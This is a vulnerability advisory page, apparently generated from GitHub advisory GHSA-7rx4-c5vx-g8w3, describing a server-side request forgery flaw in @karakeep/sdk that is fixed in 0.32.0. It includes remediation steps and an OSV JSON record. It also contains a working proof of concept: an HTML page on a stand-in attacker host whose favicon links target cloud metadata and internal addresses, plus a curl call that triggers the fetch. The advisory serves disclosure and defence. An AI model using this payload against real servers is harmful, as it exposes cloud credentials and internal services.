GHSA-7rx4-c5vx-g8w3: @karakeep/sdk Karakeep SDK Has SSRF Vulnerability

HIGH
CWE-918
Published
Advisory Summary

GHSA-7rx4-c5vx-g8w3 is a HIGH karakeep sdk has ssrf vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting @karakeep/sdk libraries in the npm ecosystem. The issue involves karakeep sdk has ssrf via metascraper-logo-favicon that bypasses validateurl protections. Remediation is available by upgrading affected packages to version 0.32.0.

GHSA-7rx4-c5vx-g8w3 at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-7rx4-c5vx-g8w3
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-918: Server-Side Request Forgery (SSRF)
Affected Product @karakeep/sdk
Package Ecosystem npm
Published Date
Last Updated

How to Fix GHSA-7rx4-c5vx-g8w3

To remediate this vulnerability, upgrade all affected @karakeep/sdk dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@karakeep/sdk fixed: 0.32.0
npm install @karakeep/sdk@0.32.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @karakeep/sdk

How to Check if You Are Affected

To determine whether your Node.js application is affected by GHSA-7rx4-c5vx-g8w3, inspect your project dependencies using npm:

npm ls @karakeep/sdk

Analyze the terminal output to locate any version of @karakeep/sdk in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.32.0), your application is affected.

Note: The npm ls @karakeep/sdk command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In @karakeep/sdk, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The `metascraper-logo-favicon` plugin makes HTTP requests to URLs extracted from attacker-controlled HTML without going through the application's `validateUrl()` SSRF protections. This allows any authenticated user to make the server fetch arbitrary internal URLs by bookmarking a page containing a crafted `<link rel="icon">` tag. ## Details ### Protected path (correct) Karakeep implements comprehensive SSRF protections in `apps/workers/network.ts` (lines 12-222). The `validateUrl()` function blocks loopback, private, link-local, carrier-grade NAT, and reserved IP ranges. It resolves DNS before the fetch and checks all resolved IPs against the blacklist. This function is correctly used by `fetchWithProxy()` for the main bookmark URL fetch, image downloads, RSS feeds, and webhooks. ### Unprotected path (vulnerability) After fetching the page HTML (with SSRF protection), the content is passed to a parse subprocess (`apps/workers/scripts/parseHtmlSubprocess.ts`). Inside this subprocess, `metascraper-logo-favicon` (v5.49.5) extracts favicon URLs from the HTML DOM by matching `<link rel="icon">` elements and reading their `href` attribute. The plugin then calls `reachable-url` (which wraps `got`) to verify each extracted URL. These HTTP requests bypass `validateUrl()` entirely: ```typescript // apps/workers/scripts/parseHtmlSubprocess.ts, lines 62-73 metascraperLogo({ gotOpts: { agent: { http: serverConfig.proxy.httpProxy ? new HttpProxyAgent(getRandomProxy(serverConfig.proxy.httpProxy)) : undefined, https: serverConfig.proxy.httpsProxy ? new HttpsProxyAgent(getRandomProxy(serverConfig.proxy.httpsProxy)) : undefined, }, }, }), ``` Only proxy agent configuration is provided. No URL validation hooks, no IP blacklist, no DNS resolution checks. The `got` HTTP client makes direct requests to whatever URLs are extracted from the HTML. ### Data flow ``` 1. User creates bookmark → URL validated by validateUrl() ✓ 2. Page HTML fetched → via fetchWithProxy() with SSRF protection ✓ 3. HTML passed to parseHtmlSubprocess via stdin 4. metascraper-logo-favicon parses <link rel="icon"> tags from HTML 5. Plugin calls reachable-url → got.get(faviconUrl) → NO validateUrl() ✗ 6. Server makes HTTP GET to attacker-controlled internal URL ``` ### Comparison The application explicitly protects the main URL fetch with `validateUrl()` (network.ts:136-222), which blocks all private/loopback IPs and resolves DNS before connecting. The recent commit history shows deliberate SSRF hardening ("Stricter SSRF validation" on 2025-11-02, allowlist feature on 2025-11-22). However, the metascraper plugins' internal HTTP requests are not routed through this validation. ## PoC ### 1. Set up a malicious page on a public URL ```html <!-- Hosted at https://attacker.example.com/ssrf.html --> <html> <head> <title>Innocent Page</title> <link rel="icon" href="http://169.254.169.254/latest/meta-data/" sizes="256x256"> <link rel="icon" href="http://127.0.0.1:3000/api/v1/users/whoami" sizes="128x128"> <link rel="icon" href="http://192.168.1.1/admin" sizes="64x64"> </head> <body><p>Normal content</p></body> </html> ``` ### 2. Create a bookmark via the API ```bash curl -X POST http://localhost:3000/api/v1/bookmarks \ -H "Authorization: Bearer YOUR_API_KEY" \ -H "Content-Type: application/json" \ -d '{"type": "link", "url": "https://attacker.example.com/ssrf.html"}' ``` ### 3. Result The main URL (`https://attacker.example.com/ssrf.html`) passes `validateUrl()` since it resolves to a public IP. After the HTML is fetched, `metascraper-logo-favicon` extracts the favicon URLs and calls `reachable-url`/`got` to verify them. The server makes HTTP GET requests to: - `http://169.254.169.254/latest/meta-data/` (AWS IMDS) - `http://127.0.0.1:3000/api/v1/users/whoami` (localhost) - `http://192.168.1.1/admin` (internal network) These requests bypass all SSRF protections. Verification: Monitor outbound network traffic from the karakeep container or check the logo field in the bookmark response. ## Impact - **Cloud metadata access**: On AWS/GCP/Azure deployments, the server can be forced to fetch instance metadata (e.g., `http://169.254.169.254/latest/meta-data/iam/security-credentials/`) which may expose IAM credentials. - **Internal service discovery**: Attacker can probe internal network services and ports by checking whether the favicon URL was reachable. - **Redirect-based data leak**: If an internal service responds with a redirect, the final URL (potentially containing tokens or session data) is stored as the bookmark's logo field and visible to the attacker. - **Bypass of explicit security controls**: The application's SSRF protections (IP blacklist, DNS resolution, redirect validation) are rendered ineffective for this code path. ## Suggested Fix ```diff // apps/workers/scripts/parseHtmlSubprocess.ts + import { validateUrl } from "network"; + + // Create a got hook that validates URLs before requests + const ssrfHook = { + beforeRequest: [ + async (options) => { + const result = await validateUrl(options.url.toString(), false); + if (!result.ok) { + throw new Error(`SSRF blocked: ${result.reason}`); + } + } + ] + }; + metascraperLogo({ gotOpts: { + hooks: ssrfHook, agent: { ... }, }, }), ``` Alternatively, run the parse subprocess in a network-restricted sandbox (network namespace, nsjail, or a Docker container with restricted networking).

GHSA-7rx4-c5vx-g8w3 Affected @karakeep/sdk Versions

1 component(s)
Fixed Versions:
0.32.0
Product / Package Ecosystem Affected Versions Fixed Version
@karakeep/sdk
npm
< 0.32.0
0.32.0

References

Frequently Asked Questions

What is GHSA-7rx4-c5vx-g8w3?
GHSA-7rx4-c5vx-g8w3 is a security vulnerability in @karakeep/sdk involving Karakeep SDK has SSRF via metascraper-logo-favicon that bypasses validateUrl protections under CWE-918: Server-Side Request Forgery (SSRF).
Which @karakeep/sdk versions are affected?
Affected versions include releases prior to 0.32.0 across affected packages: @karakeep/sdk.
What version fixes GHSA-7rx4-c5vx-g8w3?
Upgrading to 0.32.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @karakeep/sdk affected?
Yes, @karakeep/sdk is affected in releases prior to 0.32.0. Upgrade your dependency to 0.32.0 or later.
What CWE is associated with GHSA-7rx4-c5vx-g8w3?
GHSA-7rx4-c5vx-g8w3 is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).
How can I check npm dependencies for GHSA-7rx4-c5vx-g8w3?
Run the dependency tree command: 'npm ls @karakeep/sdk'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-7rx4-c5vx-g8w3",
  "modified" : "2026-05-14T18:26:02Z",
  "published" : "2026-05-14T18:26:02Z",
  "aliases" : [ ],
  "summary" : "Karakeep SDK has SSRF via metascraper-logo-favicon that bypasses validateUrl protections",
  "details" : "## Summary\n\nThe `metascraper-logo-favicon` plugin makes HTTP requests to URLs extracted from attacker-controlled HTML without going through the application's `validateUrl()` SSRF protections. This allows any authenticated user to make the server fetch arbitrary internal URLs by bookmarking a page containing a crafted `<link rel=\"icon\">` tag.\n\n## Details\n\n### Protected path (correct)\n\nKarakeep implements comprehensive SSRF protections in `apps/workers/network.ts` (lines 12-222). The `validateUrl()` function blocks loopback, private, link-local, carrier-grade NAT, and reserved IP ranges. It resolves DNS before the fetch and checks all resolved IPs against the blacklist. This function is correctly used by `fetchWithProxy()` for the main bookmark URL fetch, image downloads, RSS feeds, and webhooks.\n\n### Unprotected path (vulnerability)\n\nAfter fetching the page HTML (with SSRF protection), the content is passed to a parse subprocess (`apps/workers/scripts/parseHtmlSubprocess.ts`). Inside this subprocess, `metascraper-logo-favicon` (v5.49.5) extracts favicon URLs from the HTML DOM by matching `<link rel=\"icon\">` elements and reading their `href` attribute.\n\nThe plugin then calls `reachable-url` (which wraps `got`) to verify each extracted URL. These HTTP requests bypass `validateUrl()` entirely:\n\n```typescript\n// apps/workers/scripts/parseHtmlSubprocess.ts, lines 62-73\nmetascraperLogo({\n    gotOpts: {\n      agent: {\n        http: serverConfig.proxy.httpProxy\n          ? new HttpProxyAgent(getRandomProxy(serverConfig.proxy.httpProxy))\n          : undefined,\n        https: serverConfig.proxy.httpsProxy\n          ? new HttpsProxyAgent(getRandomProxy(serverConfig.proxy.httpsProxy))\n          : undefined,\n      },\n    },\n  }),\n```\n\nOnly proxy agent configuration is provided. No URL validation hooks, no IP blacklist, no DNS resolution checks. The `got` HTTP client makes direct requests to whatever URLs are extracted from the HTML.\n\n### Data flow\n\n```\n1. User creates bookmark → URL validated by validateUrl() ✓\n2. Page HTML fetched → via fetchWithProxy() with SSRF protection ✓\n3. HTML passed to parseHtmlSubprocess via stdin\n4. metascraper-logo-favicon parses <link rel=\"icon\"> tags from HTML\n5. Plugin calls reachable-url → got.get(faviconUrl) → NO validateUrl() ✗\n6. Server makes HTTP GET to attacker-controlled internal URL\n```\n\n### Comparison\n\nThe application explicitly protects the main URL fetch with `validateUrl()` (network.ts:136-222), which blocks all private/loopback IPs and resolves DNS before connecting. The recent commit history shows deliberate SSRF hardening (\"Stricter SSRF validation\" on 2025-11-02, allowlist feature on 2025-11-22). However, the metascraper plugins' internal HTTP requests are not routed through this validation.\n\n## PoC\n\n### 1. Set up a malicious page on a public URL\n\n```html\n<!-- Hosted at https://attacker.example.com/ssrf.html -->\n<html>\n<head>\n  <title>Innocent Page</title>\n  <link rel=\"icon\" href=\"http://169.254.169.254/latest/meta-data/\" sizes=\"256x256\">\n  <link rel=\"icon\" href=\"http://127.0.0.1:3000/api/v1/users/whoami\" sizes=\"128x128\">\n  <link rel=\"icon\" href=\"http://192.168.1.1/admin\" sizes=\"64x64\">\n</head>\n<body><p>Normal content</p></body>\n</html>\n```\n\n### 2. Create a bookmark via the API\n\n```bash\ncurl -X POST http://localhost:3000/api/v1/bookmarks \\\n  -H \"Authorization: Bearer YOUR_API_KEY\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"type\": \"link\", \"url\": \"https://attacker.example.com/ssrf.html\"}'\n```\n\n### 3. Result\n\nThe main URL (`https://attacker.example.com/ssrf.html`) passes `validateUrl()` since it resolves to a public IP. After the HTML is fetched, `metascraper-logo-favicon` extracts the favicon URLs and calls `reachable-url`/`got` to verify them. The server makes HTTP GET requests to:\n- `http://169.254.169.254/latest/meta-data/` (AWS IMDS)\n- `http://127.0.0.1:3000/api/v1/users/whoami` (localhost)\n- `http://192.168.1.1/admin` (internal network)\n\nThese requests bypass all SSRF protections.\n\nVerification: Monitor outbound network traffic from the karakeep container or check the logo field in the bookmark response.\n\n## Impact\n\n- **Cloud metadata access**: On AWS/GCP/Azure deployments, the server can be forced to fetch instance metadata (e.g., `http://169.254.169.254/latest/meta-data/iam/security-credentials/`) which may expose IAM credentials.\n- **Internal service discovery**: Attacker can probe internal network services and ports by checking whether the favicon URL was reachable.\n- **Redirect-based data leak**: If an internal service responds with a redirect, the final URL (potentially containing tokens or session data) is stored as the bookmark's logo field and visible to the attacker.\n- **Bypass of explicit security controls**: The application's SSRF protections (IP blacklist, DNS resolution, redirect validation) are rendered ineffective for this code path.\n\n## Suggested Fix\n\n```diff\n// apps/workers/scripts/parseHtmlSubprocess.ts\n+ import { validateUrl } from \"network\";\n+\n+ // Create a got hook that validates URLs before requests\n+ const ssrfHook = {\n+   beforeRequest: [\n+     async (options) => {\n+       const result = await validateUrl(options.url.toString(), false);\n+       if (!result.ok) {\n+         throw new Error(`SSRF blocked: ${result.reason}`);\n+       }\n+     }\n+   ]\n+ };\n+\n  metascraperLogo({\n      gotOpts: {\n+       hooks: ssrfHook,\n        agent: { ... },\n      },\n  }),\n```\n\nAlternatively, run the parse subprocess in a network-restricted sandbox (network namespace, nsjail, or a Docker container with restricted networking).",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@karakeep/sdk"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.32.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.31.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/karakeep-app/karakeep/security/advisories/GHSA-7rx4-c5vx-g8w3"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/karakeep-app/karakeep/pull/2763"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/karakeep-app/karakeep/commit/3dc321e7d49aa3a1a2493637fb2ee21616fe5fd9"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/karakeep-app/karakeep"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/karakeep-app/karakeep/releases/tag/v0.32.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-14T18:26:02Z",
    "nvd_published_at" : null
  }
}